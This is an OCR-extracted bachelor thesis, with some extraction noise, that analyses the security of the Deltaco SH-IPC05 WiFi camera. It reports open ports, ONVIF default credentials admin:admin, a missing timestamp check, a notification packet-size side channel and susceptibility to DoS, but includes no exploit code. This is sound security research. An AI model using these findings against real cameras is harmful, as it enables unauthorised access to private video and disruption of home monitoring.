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Abstract | i

Abstract

IoT devices have historically lacked in the security standards but at the same
time it is a continuously growing market it is important that the security
analyzes continue in order to evaluate the development of the security in the
IoT industry.

This research is a security analysis of the Deltaco SH-IPC05 WIFI Camera,
it is an inexpensive device that can be accessed through a mobile application
from anywhere on the internet via the cloud. It follows the Practical and Agile
Threat Research for 10T (PatrloT) methodology and is delimited to network
traffic and the software of the device. Due to legal limitations the cloud is not
included in the analysis and the hardware security is not included due to time
constraints.

The device was found to use default credentials for its Open Network Video
Interface Forum (ONVIF) service, but it is easy for a user to change the default
password from the mobile application if the user can guess what the default
password is, and the service is not enabled by default. Three DoS attacks were
identified to be effective, two of which caused the device to crash and reboot
and the third one prevented the camera from responding until the attack ended.
One of the attacks that consistently crashed the camera, could keep crashing
the camera repeatedly thus keeping it offline. When analyzing the network
traffic, it was possible to consistently detect the packets that notified users of
motion or sound detection by looking for specific TCP packet sizes and ports.

Although some issues were found the device appeared to be generally
secure with encrypted network traffic and minimally exposed services.
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Sammanfattning

Bland IoT-enheter har sdkerheten historiskt sett ofta varit eftersatt men det ar
samtidigt en stindigt vidxande marknad, darfor &dr det viktigt att
sakerhetsanalyserna fortsitter for att utvidrdera utvecklingen av sidkerheten
inom IoT industrin.

Denna rapport ar resultatet av en sdkerhetsanalys av Deltaco SH-IPC05
WIFI Camera, det ir en billig enhet som kan nds genom en mobilapplikation
via molnet. Den foljer metodiken for Practical and Agile Threat Research for
IoT (PatrloT) och dr avgrinsad till nitverkstrafik och enhetens programvara.
P4 grund av juridiska begriansningar ingar det inte att analysera molnet och
hardvara ingér inte pa grund av tidsbrist.

Enheten visade sig anvinda standardlosenord for sin ONVIF-tjanst men
tjidnsten maste aktiveras av anvidndaren och det dr mojligt att andra I6senordet
via mobilapplikationen om anvindaren kan gissa sig till standardlosenordet.

Enheten var mottaglig for tre olika DoS-attacker. Tva av dem fick kameran
att krasha och starta om varav en av dem kunde aterupprepas for att hélla
enheten offline sé linge som onskades. Det var mojligt att identifiera de paket
som skickades frdn kameran nir den skulle notifiera anvindare om upptickta
rorelser eller ljud.

Aven om vissa problem hittades verkade enheten vara siiker i allmiinhet
med krypterad nétverkstrafik och minimalt exponerade tjdnster.

Nyckelord

Sakernas internet, Sdkerhet, Penetrationstest, Patrlot, Wi-Fi-Kamera
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Chapter 1

Introduction

Internet of things (IoT) devices have in recent years become more affordable
and have use cases ranging from garage door openers to temperature sensors
to blood pressure monitors. In Sweden alone the usage of IoT products in
businesses doubled from 2020 to 2021 [1]. Among other things these smart
devices enable statistics gathering which can give insights to trends, and that
makes them interesting for both business and consumers. IoT devices have
however been plagued with poor security, likely due to trying to keep the costs
low and the focus on fast release to markets. Building smart cities or industries
where IoT devices provide benefits with automation and data collection for
decision making. The devices could result in introducing serious security
issues, which could put the users and systems at risk, so considering their
security is and will be important. As IoT devices become a more integrated
part of our society they can also pose a greater risk since they will be depended
upon by critical infrastructure.

1.1 Problem

There are many IoT devices in consumers’ homes and in the industry, they
are affordable, easily accessible, connected to the internet and their usage and
numbers will only increase. The impact of security flaws within IoT products
will continue to grow increasingly as more devices are being introduced [2].
When manufacturers move their development efforts towards newer products
sometimes the older products no longer receive updates and some IoT devices
may never receive any updates [3]. A security analysis of a previously untested
IoT device is of interest to the consumers, the industry and security researchers.
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1.2 Purpose and goals

The purpose of the research is to:

* Analyze the security of the Deltaco SH-IPC0O5 WIFI Camera by following
the Practical and agile threat research for IoT (PatrloT) method.

* Contributing to the 10T security research field.

1.3 Scope

The research will use the PatrloT methodology, which is further explained in
chapter 3. PatrloT begins with scoping so that the work is clearly defined and
delimited. It includes specifying the device analyzed, the attack surface and
how the project will be executed. Another important part of scoping is defining
whether the project should be a black box, white box or gray box test and the
type of environment that the work is performed within.

1.3.1 Device

The Deltaco SH-IPC05 WIFI Camera will be analyzed. It is a security camera
that is connected to Wireless Fidelity (Wi-Fi) and can be accessed from
anywhere through the dedicated mobile application. It is possible to stream
video and audio and the device has functionality to send notification when it
detects sound or movement as well as two-way audio communication via the
mobile application.

1.3.2 Attack surface

The research will focus on the attacks available on the Local Area Network
(LAN), hardware and web.

1.3.3 Testing environment

The research will be conducted as a black box test with access to the LAN that
the device is connected to.

The information gathering and exploitation is carried out on the Linux
distribution Kali (2022.1) which is run on a Virtual Machine. Programs used
that were not part of Kali by default is mentioned in the relevant section of the

paper.
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1.4 Limitations

The research will not analyze cloud and firmware or attack the mobile
application.
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Chapter 2

Background

Today’s IoT devices are complicated, they use a number of different
technologies, and this section is intended to give some insight into the
technologies and protocols used by the Deltaco SH-IPC05 WIFI Camera.

2.1 XML

Extensible Markup Language or XML is a markup language used to manage
data in different ways [4]. It aims to be both human readable and machine
readable to create a format that is easy to use. Schemas can be used to define
different valid structures for XML documents, common ones are Document
Type Definition (DTD) or XML Schema. They provide a way to define
how and what elements, tags and attributes can be used within the document
domain. This opens the possibility to create XML markup languages for
example, Movie Definition Language (MDL) used to describe movie related
data and Dublin Core used to catalog data [4]. Even if the XML is well-formed,
it may not be considered valid when checked against the schema, but if the
XML is not well-formed the document is considered broken [4].

Security XML is parsed and if the data conforms to the rules specified
by a schema, all data in an XML document can be seen as valid. However
bad constraints, lack of enums and definition of elements can open up
for security concerns since injecting arbitrary data can be possible. XML
schemas and DTD aims to solve many security concerns but inattentive
developer might miss details which can be used in malicious ways. Depending
on domain malformed XML documents, invalid XML documents, jumbo
payloads, schema poisoning and more can be used to attack a system [5]. For
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example, schema poisoning is used to modify what is valid by injecting custom
DTDs which could be used to obtain system information.

2.2 RTSP

Real Time Streaming Protocol (RTSP) is used to setup and control real time
data or in other words video and audio streams [6] and is often used within
media servers, IP cameras and IP Camera surveillance stations. The protocol
supports several interaction directives, for example DESCRIBE, SETUP,
PLAY and PAUSE are some of the more important directives. Usually, this
protocol is implemented within some software but could be used manually if
necessary. RTSP commonly exposes the port 8554 or 554, there also exists
a secure version called Secure Real-time Transport Protocol (SRTP), which
adds encryption to the protocol.

2.3 SOAP

Simple Object Access Protocol (SOAP) is used to transfer information using
XML both in a decentralized and distributed environment. Its main purpose
is to be lightweight and agnostic to the programming model used [7]. The
messages itself is at minimum encapsulated in a <soap:envelope\>
which contains <soap:header\> and <soap :body\ > where the data is.
Using SOAP could eliminate problems related to malicious usage of XML
since it relies on an XML schema.

WS-Security SOAP endpoints can be secured by using SOAP Message
Security (WS-Security). It provides security token, trust domains, signature
formats, encryption, and end to end message content security [8]. One
authentication method used is the password digest, it requires a username, a
password and a timestamp named created. The SOAP server then validates
the password digest and authenticates the user accordingly.

2.4 ONVIF

The ONVIF protocol purpose is to standardize communication between IP-
based security products [9]. Products claiming to be ONVIF compatible must
implement at least one of the ONVIF profiles, these profiles define a set of
mandatory and optional functions for clients and devices. The profiles ensure
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proper functionality of a device and so other third-party software can rely on
the specification and know that the integration will work.

Communication When ONVIF communicates it utilizes the SOAP protocol
over HTTP. It typically exposes TCP port 8000 for this service, but there may
other ports exposed. For instance, if there is an IP camera with RTSP support,
either port 8554 or 554 will be open. Onvif also uses Web Services Description
Language (WSDL) for different XML namespaces when querying [10]. What
WSDL is best described by W3C:

WSDL is an XML format for describing network services as a set
of endpoints operating on messages containing either document-
oriented or procedure-oriented information. W3C WSDL ([11])

Claiming to be ONVIF compatible The problem with ONVIF is that
some manufactures claim to be ONVIF compatible even though they are not,
this is something that only effects the end user, but to be sure a consumer
can check all verified ONVIF products on ONVIFs official website [12].
Since it’s not mandatory to have the ONVIF organization check if a product
follows the specification, developers could potentially take shortcuts in the
implementation. Only implementing what they see as most important, but
it could also open up for vulnerabilities if some important steps of the
implementation is skipped.

2.5 ICMP

Internet Control Message Protocol (ICMP) allows hosts on the internet to send
messages to other hosts for the purpose of reporting on how the communication
over IP is working. There are several types of messages, the most well
known type is perhaps the Echo type which is the message used when sending
an ICMP ping [13]. Another important type is the destination unreachable
message. Itis used when a gateway has no entry for the destination, a datagram
with the do not fragment flag set needs to be fragmented for it to be forwarded
or in the circumstances described in the following quote.

If, in the destination host, the IP module cannot deliver the
datagram because the indicated protocol module or process port
is not active, the destination host may send a destination
unreachable message to the source host. ICMP RFC 792 ([14])
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2.6 Tuya

Tuya is a China based IoT company focusing on creating an ecosystem which
can make all products smart, they are operating as a SaaS business [15].
Tuya provides both SDKs and no-code solutions which makes it easy for
new companies wanting to create IoT products to join the market. Tuya is
versatile and there are many types of products that are supported, they also
provide a base app which can be tailored to look like it was created by the
customer companies. It is for example possible to completely disguise the app
with company specific branding. This creates a market where there are many
different companies making IoT products but they all run the same software,
app, and cloud in the background. Tuya cloud also emphasizes that their
solution provides high security of the data, and that they are actively working
on security on their platform by providing bug bounty programs [15].

2.7 DoS attack

A Denial-of-Service (DoS) attack is when a user of a service is prevented from
accessing the service as a result of the actions of a different actor. The attack
can be performed in many different ways but often it is conducted by flooding
a device with malicious network traffic which it can’t process quickly enough,
and is then rendered useless due to using all the available resources until the
attack stops. [16]

2.8 Traffic sniffing

Traffic sniffing or Packet sniffing is the process of looking at network traffic.
It can be used to analyze how, which and where packets are being sent,
and can therefore reveal valuable information between computers whether it
is encrypted or not. One way to intercept traffic is by using tcpdump, a
command-line packet analyzer [17]. The output data can be quite cumbersome
to review, which is why it usually is paired with Wireshark to provide a
graphical interface where filtering, searching, decoding and more can be done
[18].
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2.9 Port scanning

Port scanning refers to the process of scanning ports on a device to collect
information about services listening on the ports.It works by probing ports
based on what service it usually is, services can be found in the Internet
Assigned Numbers Authority (IANA) port number registry. Based on the
response it is possible to determine more information about the service that
is using the port. So port scanning is a helpful tool when performing security
audits of devices, but it can also be used by hackers. Nmap is a free and open-
source program used to port scan and can be a first step in the information
gathering phase when analyzing a device [19]. Paired with scripts tailored
towards a range of services a scan can reveal additional information about a
device.

2.10 WS-Discovery

Web Services Dynamic Discovery (WS-Discovery), is a specification used
by devices to share with other devices which services are available for them
to use. There are several types of messages specified in the WS-Discovery
specification, for example a device that have available services should be set
up so that it will listen for and respond to incoming probe messages from client
devices. Communication over UDP is sent using SOAP. [20]

2.11 STUN Protocol

The protocol Session Traversal Utilities for NAT (STUN) is a used as a tool to
assist other network protocols when they need to detect and traverse Network
Address Translations (NATs) in between devices that are trying to establish
a connection. STUN is a client-server protocol and it works by placing a
STUN server somewhere it can be accessed by all the clients. They connect
to the server which then mediates so that the clients can connect to each other
directly. [21]

The message A message sent consists of a fixed header that contains
information such as method type, class, and transaction id. The classes
available are indications, requests, or responses. The responses are sent as
replies to the requests. The method specifies what type of request or indication
the message is. The binding method used with a request is used to identify the
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binding for the client set by the NAT, it is subsequently used to let the clients
connect with each other. If instead used with the indication transaction the
binding method will help with keeping the binding active.

Attributes The header is followed by zero or more attributes such as
SOFTWARE, XOR-MAPPED-ADDRESS and FINGERPRINT. Some attributes
are required in certain stages of the communications while others are not
required. The SOFTWARE attribute is interesting since the protocol
specification says that an agent sending a request SHOULD add a SOFTWARE
attribute to the request [21, p. 12]. In the context of the specification SHOULD
means that something that should be followed could be ignored if there is a
valid reason forit [22, p. 1]. The SOFTWARE attribute SHOULD according to
the specification specify which software is used to send the message, including
the version and manufacturer. The SOFTWARE attribute should have no
impact on how the protocol is used [21, p. 46]. The SOFTWARE attribute
should also be a configurable option since it may have security implications
if an attacker is able to find out which software version a particular server or
device is running [21, p. 48].

2.12 PatrloT

PatrloT is a vulnerability research methodology aimed to solve common
shortcomings of traditional research methodologies. =~ The standardized
methodology gives the research a common baseline for comparison and it
increases the effectiveness of vulnerability research of IoT devices [3].
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Chapter 3
Method

IoT devices have many attack vectors due to their connected nature, but using
the standard security testing approaches are often unsuitable since they were
not designed to test IoT devices [3]. Using the PatrloT methodology aims
to solve the shortcomings of normal security testing by establishing a set of
guidelines which specifically suits [oT devices well.

The use of traditional vulnerability research methodology is unsuitable due
to not considering the different attack surfaces that are available on an 10T
device.

By using PatrloT common shortcomings that are present in the traditional
vulnerability research methodologies when analyzing IoT devices can be
avoided. It will also be useful for future research because the study can easily
be compared against other research that use PatrloT, which in turn will increase
the relevance of the research.

The PatrloT reporting template was in this case modified to work with
the preferred structure of the bachelor thesis report. Otherwise the work was
conducted as per the methodology.

3.1 Planning

The first stage of PatrloT is the planning stage which involves scoping the
project and information gathering.

Scoping

Scoping intends to define the limitations of the research. This includes attack
surfaces, project type for example black box or white box testing. The physical
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location should also be determined. [3]

Black box testing means that the attacker does not know about the systems
underlying services and implementations and can therefore only look at the
functionality provided. Meanwhile, white box testing is carried out with inside
information about the system available at the time of the test.

Information gathering/Enumeration

Information gathering has a vital role in identifying potential attack vectors to
examine. This involves researching documentation, physical device attributes,
active scanning, passive scanning, and various enumeration techniques. The
findings are documented and serves as a foundation for further investigation

[3].

3.2 Threat modeling

Threat modeling stage aims to give an indication of which attack surfaces to
prioritize by evaluating the potential impact of a successful attack, although
it can be somewhat arbitrary due to the varying skill levels of different
researchers.

Attack surface decomposition

The general idea is to give a clear overview of the architecture in the system,
it involves listing with what and how the device communicates as well as
the purpose of the communication. In the beginning it will most likely be
a simple overview, but as new attack surfaces are being discovered throughout
exploitation the overview will become more thorough [3].

Vulnerability analysis

To efficiently dispose the time a vulnerability analysis should include an
overview of the potential of different attack vectors. It will be evaluated by
doing research on previous attacks and vulnerability but also by looking at a
compilation of the most common weaknesses found in IoT devices [3].

Risk assessment explained and Risk scoring

The goal of the risk assessment is to keep the threat modeling simple by using
a combination of know mechanics to categorize different threats. PatrloT uses
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a procedure similar to STRIDE which is a model used to categorize threats
[3], STRIDE is a short of the following:

* (S)poofing

e (T)ampering

* (R)epudiation

¢ (Dnformation disclosure
¢ (D)enial of service

* (E)levation of a privilege

For risk scoring PatrloT uses a simplified version of DREAD, which is
short for:

* (D)amage as impact of the vulnerability
* (A)ffected users as prevalence

* (R)eproducibility, as simplicity metrics
* (E)xploitability, as simplicity metrics

* (D)iscoverability, as simplicity metrics.

The score can then be calculated with (impact + prevalence + simplicity *
3)/5 = score where the metrics can be between one and three depending on
effect. The score will respond to the following severity levels:

* score > 2 => high
e 2 > score > 1 => medium
e score =1 => low

The exact definition of what makes a severity high or low can be found in the
PatrloT guidelines [3].

3.3 Exploitation

After locating a possible vulnerability in the previous stage, it is important
to attempt exploiting it. A successful exploitation proves that the system is
susceptible and will help determining the extent of the vulnerability. [3]
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Known vulnerabilities

Some vulnerabilities have already been identified and have ready-made exploits,
if that is the case then these exploits should be located and run. If no ready-
made exploits are available, then new exploits should be developed for the
vulnerabilities found.

Exploit development

The development of exploits should accomplish their goals as specified in
figure 3.1 [3].

Attack surface Purpose of exploitation

Hardware hacking | Access to firmware

Detecting information that may assist
in identifying other vulnerabilities
Getting user-level access and
privilege escalation from there
Remote code execution and
authentication bypass

Firmware analysis

Network hacking

Web and Cloud

Table 3.1: Goal of exploitation within different attack surfaces

The research should also attempt to identify if it was the application,
protocol or the configuration that caused the vulnerability [3].
Post exploitation

After compromising the device, it is important to continue with post exploitation.
The post exploitation may be to escalate privileges [3].

3.4 Reporting

PatrloT provides a suggest template for the reporting to make it easy collecting
statistics and searching in reports.

Template

The template will not be followed exactly due to scope of the bachelor thesis,
although many similarities will be present throughout the report. The suggest
report template includes sections [3]:
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* General information

* Scope

* General testing methodology
* Risk assessment

* Executive summary

* Technical summary

* Findings

» References

These sections will be interleaved within other sections to work well with the
structure of the bachelor thesis report.

Disclosure

The process of disclosing a vulnerability begins with the researcher or
researchers documenting and proving a vulnerability. Researchers should then
contact the affected parties by providing the research. Since it is of interest
of researcher to disclose the vulnerability and the involved parties to have a
chance to patch, a deadline of 90 days is usually given. Though the time of
the deadline may be negotiated if for example the development and adoption
of the patch is expected to take longer than usual [3].

Possible CVE

If a vulnerability is found the researchers can apply for a Common Vulnerabilities
and Exposures (CVE), depending on the circumstances the vendor can provide
a CVE-ID, or the researcher have to apply for it [3].
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Chapter 4

Result

This chapter will cover the findings that resulted from the information gathering,
enumeration, threat modeling and exploitation phases.

4.1 Enumeration and Information gathering

The overview of all findings can be found at table 4.1.

4.1.1 Hardware

The device gives out minimal information about its internals, see table 4.2. A
brief examination of the device showed that the device has a Micro USB port
type B, SD-card slot, status led, reset button, speaker, and microphone. The
port scanning revealed that the device has a mac address owned by AltoBeam,
a company that develops integrated circuits ranging from Wi-Fi chips to TV-
tuners [23]. When connecting the micro-USB port directly to a computer it is
not possible to detect it on the computer OS, so the micro-USB appears to only
be responsible for powering the device. The SD card can be used as storage
for recordings and pictures taken by the device. It gives the consumer a choice
between using the provided cloud solution or storing it locally. Resetting the
device to factory defaults can be achieved by holding the reset button for five
seconds.

SD-card The device has functionality to record video locally onto a
connected SD-card. When the functionality is enabled, and an SD-card is
connected video files will be stored onto the storage media in roughly 40-45
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Attack Surface Details
67 DHCPS
3702 Ws-discover
Open ports 3703 Unknown
6668 Tuya Custom Protocol
8000 ONVIF
8554 RTSP
TLS TLS 1.2
Video Stream Encrypted data sent over UDP
p2p Tuya software P2P protocol
Tuya Custom Protocol | Can be used to control devices locally
Network Traffic and possibly it is used by the cloud
services
STUN Used to negotiate connection between
the clients that must be in direct
connection with each other but may be
behind NATs
MQTT Lightweight message passing protocol
commonly used, appears to be
encrypted
HTTP Used to send Onvif messages
RTSP Protocol used to send a video stream.
Traffic patterns Services may disclose information by
the patterns detected in the data flow
even if encrypted.
SD-card slot A connected SD-card can be used to
store and play back recorded media.
/0 Reset button Button used for resetting device
Micro USB Device is powered by a micro USB port

Camera QR-code reader

During device setup the camera sensor
reads from a QR code to obtain setup
information.

Exposed hardware pins

Devices may expose hardware pins for
debugging.

Table 4.1: Identified attack surfaces
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Hardware
Component Functionality
Reset button | Hold 5 Seconds for factory defaults
SD-cardslot Store recording/pictures
USB-micro-B | Power the device
Red = Malfunction
Flashing red = Waiting for connection

Led Blue = Working correctly
Flashing blue = Connecting

Speaker Play sound from app

Microphone | Record sound

Chipset AltoBeam

Table 4.2: Hardware components

second chunks. The media files were roughly 7 Mb in sizes. The device keeps
track of the media files by using an indexing file called index.bin.

The index file appears to be a text file with entries, where each entry is a
row. Each row begins with entry type, followed by the path to the media file
affected by the entry and depending on the type of entry sometimes followed
by information about the media file length in seconds.

4.1.2 Web

There is no web interface provided by the device instead it relies on the usage
of ONVIF, RTSP and the mobile app to communicate with the user, see table
4.3 for overview.

Web
Component | Functionality
TCP/8000 Onvif
TCP/8554 RTSP
UDP/3702 WS-Discover
UDP/3703 Unknown

Table 4.3: Web services and their ports

4.1.2.1 TCP/8000 - ONVIF

ONVIF is not enabled by default on the device but can be enabled within the
app by the user. It provides the user the possibility to connect the device to
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ONVIF compatible software with ONVIF profile S. Upon examination it is
clear that the device does not follow the ONVIF profile S specification since
it doesn’t implement all mandatory functions stated in the specification [24].

The specification also exposes endpoints which require authentication,
these endpoints enable the possibility to query for video stream, users, and
camera movement to mention a few. All can be accessed with the credentials
admin:admin. These could be found by searching on the internet since these
are the default credentials specified by ONVIF, or by brute forcing common
usernames and passwords since there doesn’t seem to be any limits on login
attempts. It is possible to change or remove the ONVIF password via the
mobile application, but the user is never informed what the default password
is.

SOAP is used as the protocol to transfer data and the authentication is WS-
Security. In this device the token-based authentication is used with a password
digest [8]. The password digest is a base64 encoded SHAT1 hash value. The
SHAT1 hash value is based on a nonce, created date and the password. The
idea behind it is to ensure that the password digest was generated recently by
evaluating the created date. But the device doesn’t check the created date,
instead it grants access to the protected endpoints as long as the password
digest is correct.

4.1.2.2 TCP/8554 - RTSP

On devices supporting RTSP, there are usually a set of common URLs that
can be enumerated to find the video stream of device. On the tested device
the RTSP stream could not be found through enumeration, likely due to the
generated RTSP URL being invalidated on connection and reboot. Querying
ONVIF correctly will yield the link used to stream directly from the device.
In this case the RTSP stream was found via traffic sniffing between compatible
software Synology Surveillance Station and the device. Because the queries
are transmitted over HTTP the content could be examined. Similarly, a RTSP
stream can be obtained on the Tuya IoT platform, the major differences here
is that there are no ONVIF specific messages and the streaming goes via the
cloud.

4.1.2.3 UDP/3702 - WS-Discover

When querying UDP port 3702 using Nmap with the wsdd-discover script, it
revealed where the ONVIF endpoint is located. The script also exposes that
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the device according to the script specification is running a WCF service on
.NET 4.0 or later [25]. However, this has not been verified in any way.

4.1.2.4 UDP/3703

Port was found to be open, but it was not possible to connect to it or obtain
any information about the service listening on the port.

4.1.3 Network

Some information was collected by analyzing the device’s public network
interface and by sniffing the wireless communication.

Network
Component Functionality
TCP/6668 Tuya Custom Protocol

UDP/67 DHCPS

TCP traffic Motion detection notification packet is 357 bytes
TCP traffic Sound detection notification packet is 197 bytes
STUN traffic | tuya_p2p_sdk_v3.2.17

STUN traffic | Software Coturn-4.5.1.3 "Dan Eider"

Table 4.4: Network components and functionalities

4.1.3.1 Third party cloud solution

When analyzing the wireless traffic to and from the device it was clear that
a great deal of traffic flowed to and from servers belonging to the Chinese
company Tuya Inc. The device functionality is built upon the Tuya Cloud
Platform. Even though it was mentioned that the company may share data
with third-party services to provide business-related functions, there is no
mention of Tuya Inc or that the device functionality entirely depends on a
Chinese Cloud Platform provider in either the product descriptions or the
privacy policy [26] [27].

Smart Life App To verify that the device was running on Tuya cloud an
attempt to connect it to the Smart Life app was done. The Smart Life app is an
advanced version of the Tuya Smart app due to its richer set of functionalities.
Tuya smart app is developed by Tuya to work with Tuya devices, this means
if the device can be connected, the device certainly runs on Tuya cloud. It
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was successful, the device could be added to the app, and it exposed the same
functionality as in the Deltaco Smart Home app.

Tuya IoT Platform Since it is confirmed that the device runs on Tuya cloud
the next step was to see if it could be linked to a Tuya Cloud Developer account,
to see if more valuable information could be extracted [28]. An account was
made and linking the Smart Life app account granted access to the device
on the cloud platform. From this point Device ID and User ID could be
extracted. The cloud platform features an API explorer, device debug and
service subscriptions. Reviewing the device debug section and logs did not
reveal anything of interest, from the logs collected only information about
device status can be found.

Service subscriptions enables new API functionality to the devices, loT
Core is the default subscription and it enables a basic API endpoint for
querying devices status, name, instruction set and other meta data.

When the IoT Video live Stream subscription was added, endpoints for
retrieval of RTSP and HTTP Live Streaming (HLS) stream URLSs which could
be viewed with compatible software. The URL is being generated upon request
and has a limited time to be used, and the stream was being sent via the cloud
so it was deemed out of scope for further analysis.

4.1.3.2 TCP/6668 Tuya Custom Protocol

TCP port 6668 was found to be open during a port scan of the device. The port
scanning software suggested that an Internet Relay Chat (IRC) service may be
listening on the port. Likely due to the IANAs Service Name and Transport
Protocol Port Number Registry indicating that IRC servers are listening on the
ports [29]. When connecting to the port with an IRC client such as irssi [30]
a connection appeared to be established, but it would time out after about 20
seconds. It was also considered very strange that an IoT device would run an
IRC service, it was concluded that it was likely not an IRC service running but
something else.

The device had previously been determined to be a Tuya device and one
interesting project, TuyAPI [31] clearly stated that Tuya devices listen to the
port for messages in the format of a custom protocol used only by Tuya devices
so that other devices on the same LAN could send instructions.

The protocol appears to have evolved with time and several versions have
been identified, but in general the protocol has been shown to be of the format
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described in table 4.5. The prefix and suffix is 0x000055AA and 0xO000AASS
respectively. The sequence number seem to be used to keep track of which
messages are responses of each other. The command designates the command
type being sent. The length informs how long the payload is in bytes, it will
also include 8 extra bytes. The payload starts with a return code of 4 bytes
if the message is sent from a device, where O means success. The rest of the
payload can be a string, JavaScript Object Notation (JSON) or encrypted data.
The encryption appears to have different compositions with each version of the
protocol, but the key used in the encryption seem to be a key which could only
be obtained via the Tuya cloud platform by using the tuya-cli [32] tool. If there
is a way to obtain the key without connecting the device directly to Tuya Cloud
then it was not identified during this research. Even a normal user would not
be exposed to the key unless they actively searched for it, and the key is not
hard coded, so it changes with every reset. The Cyclic Redundancy Check
(CRC) is used to check the part of the message that comes before it. [31]

PREFIX (4 bytes)
SEQUENCE NUMBER (4 bytes)
COMMAND (4 bytes)
LENGTH (4 bytes)
PAYLOAD (var length)
CRC (4 bytes)
SUFFIX (4 bytes)

Table 4.5: Tuya Custom Protocol Message Composition

The device was observed to send out broadcast messages every few seconds
to port 6667 in the format described above. The payload was encrypted, and
it was not possible to discern which protocol version was being used, but it
at least indicates that the device uses the protocol. There are several projects
available on GitHub where people have reverse engineered some versions of
the protocol [31] [33], and according to these projects the protocol have used
AES in ECB mode with the previously mentioned key which is 16 bytes long.
The encryption is known to be unsuitable for use when encrypting identical
and repeated data blocks since the encrypted data blocks also will be identical,
some information may be leaked as a result. It is not clear if the protocol is
still using the same encryption.
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4.1.3.3 Motion and sound detection notification traffic

During the analysis of the Wi-Fi traffic it was also observed that the devices
notification traffic was predictable. When Motion Detection and/or Sound
Detection was enabled, the device would send a Message Queuing Telemetry
Transport (MQTT) message to the cloud which then notified the users mobile
app. The packets that sent the notifications were consistently the same size.
Movement detection notification TCP packets were 357 bytes and sound
detection notification TCP packets were 197 bytes. This can therefore be seen
as a Packet Size Side Channel Attack if exploited.

The packets were found by analyzing the sniffed traffic after turning on the
detection settings in the mobile application and then forcing the notifications
repeatedly.

4.1.3.4 Exposed information

During the analysis of the captured Wi-Fi traffic it became clear that the
camera sends data to the mobile applications by using P2P communication
and to make that work it uses the STUN protocol. When analyzing the
STUN messages, it was possible to find the names and versions of the
software used to send them. The servers appeared to run the software Coturn-
4.5.1.3 ’dan Eider’, the mobile application and the device appeared to run the
software tuya_p2p_sdk_v3.2.17. The attempts to acquire the P2P software
were unsuccessful, so analyzing it was not possible. The software running on
the servers appear to be an outdated version that is vulnerable when using the
default settings, but since it is out of scope it was not pursued.

4.1.3.5 Communication during device setup

The communication that occurred during the setup of the device was analyzed
and it was found to be encrypted with TLS 1.2.

4.1.4 Mobile

Mobile hacking is out of scope but looking at the application is still of interest
with the purpose of gathering information about how the device operates.
For example, examining the app source code might reveal API keys or other
secrets. The aims are not to thoroughly examine everything in detail, but to
look for potential easy targets as it can be an effective way of checking many
attack vectors at once.
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4.14.1 App

The app suggested by the manufacturer is Deltaco Smart Home, which in
reality is the Tuya Smart app wrapped with Deltaco logos and text. This
therefore opens the possibility for the user to use either Deltaco Smart Home,
Tuya Smart or Smart life application. Since they all build on the same
foundation the same functionality is exposed in all of the apps. However, if
paired with Smart life the user can pair the device with Tuya IoT Platform to
view more information about the device. The app provides functionality such
as, looking at the video stream, saving videos, enabling motion and sound
detection, taking photos, enabling ONVIF, assigning the device to rooms. It
does not expose any interesting entry points to the device, but some tampering
was done with the input fields. For example device name to see if unexpected
behavior would arise, however none were found.

Devices can either be paired with a user account or with a guest account.
By using a guest account some limitations are added to the app, for example
enabling cloud stored video is not possible. Other than that, most of the
cameras core functionality can still be used.

4.1.4.2 App APK

The mobile app was examined by downloading the latest Android Package
Kit (APK) (version 2.0.2) on Google Play store and then decompiling it using
dex2jar [34]. The code was then examined with jdgui [35] to enable searching
and inspection of the code. When investigating the goal was to find clues about
potential attack vectors not found by other enumeration techniques, pentesting
the app was out of scope. By searching for hardcoded app secrets, API-keys
and hashing algorithms the aim was to find something which could be used,
however the only discoveries was the usage of MD5 hashing on a few places.
What this was used for could not be determined, but if it were to be used
for something that is collision sensitive this would be considered an insecure
hashing algorithm [36].

4.1.4.3 Device pairing to WiFi with QR Code

When pairing the device to a Wi-Fi network the app generates a QR Code
containing the SSID, password and a token. The token is retrieved from a
server which the device then checks against when attempting to connect to the
Wi-Fi in order to create an association between the user and the device [37]. In
the API documentation it is stated that the token has a Time To Live (TTL) of
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Threat description

Vulnerable services running on device

Threat target

Deltaco SH-IPC05 WIFI Camera

Attack techniques

Port scanning, researching services and
protocols, finding previous vulnerabilities,
banner grabbing, fuzzing, analysis of
corresponding mobile application

Counter measures

Keeping services updated, making sure
that custom software follows security best
practices, only allowing necessary services
to listen on ports, make sure that default
credentials are never used.

Table 4.6: T

hreat table over vulnerable services

Threat description

Information disclosure in network traffic

Threat target Traffic between device, mobile application and
cloud servers.
Attack techniques Traffic analysis, MiTM attacks.

Counter measures

Properly encrypting traffic, obfuscating
sensitive traffic to avoid side channel attacks.

Table 4.7: Threat table on information disclosure

10 minutes before becoming invalid. Although the SSID, password and token
are in clear text in the QR Code there seem to be no apparent flaws related to

device pairing.

4.2 Threat modeling

Threat modeling of the device according to the PatrloT guidelines.

The most high priority threats are described in tables 4.6, 4.7, 4.8 and 4.9.

The risk scoring can be found in table 4.10.

Threat description

Denial of service

Threat target

Deltaco SH-IPC05 WIFI Camera

Attack techniques

Packet  flooding, sending  maliciously
constructed payloads to listening services.

Counter measures

Proper firewall setup. Make sure that message
parsers and message protocols are secure.

Table 4.8: Threat table on DoS
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Threat description Intercepting and tampering with network
traffic

Threat target Traffic between device, mobile application and
cloud servers.

Attack techniques MiTM attacks, replay attacks.

Counter measures Properly encrypting traffic, using secure
protocols.

Table 4.9: Threat table on traffic interception and tampering

Threat table 4.6 4.7 4.8 4.9
Damage as impact | 3 2 1 3
Affected users 3 1 3 3
Simplicity 1 2 3 1

Score 1.8 1.8 2.6 1.8
Severity Medium | Medium | High | Medium

Table 4.10: Risk scoring of identified threats according to PatrloT

4.2.1 General architecture overview

The architectural overview can be seen in figure 4.1.

Q w Ethernet ((( )))
Tuya Cloud (AWS) ‘ mout
outer

ﬂ \ Client (Mobile) Cellular tower

Tuya Cuistom Protocol WiFi
N
STUN

MQTT DNS, DHCPText Tuya P2P

i

loT camera

NAS, NVR,
Computer

STUN
Server

Figure 4.1: General Architecture Mapping

4.2.2 Use cases

Typical use cases available for the device:
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1. Setup and pair device

2. Stream media

3. Sound and/or motion sensor alarm

4. Record media to local SD-card

5. 2-way sound communication

6. ONVIF stream

7. Change setting of device

4.2.2.1 Setup and pair device

The setup and pairing sequence of the device is described in figure 4.2 [37].

APP Cloud Camera
: } | 1: Reset
| 2: Initiate 7

\ |
| 3: Create QRCodeWithSSIDPassword AndToken } :
PR \ |

\ . |

4: ScanQRCode
< i

\
| 5: ActivateDevice
| 6: AwaitPairing r

L 4

DeviceActivated
oSSR >
DeviceActivated
e ]

Figure 4.2:

Setup and pairing sequence
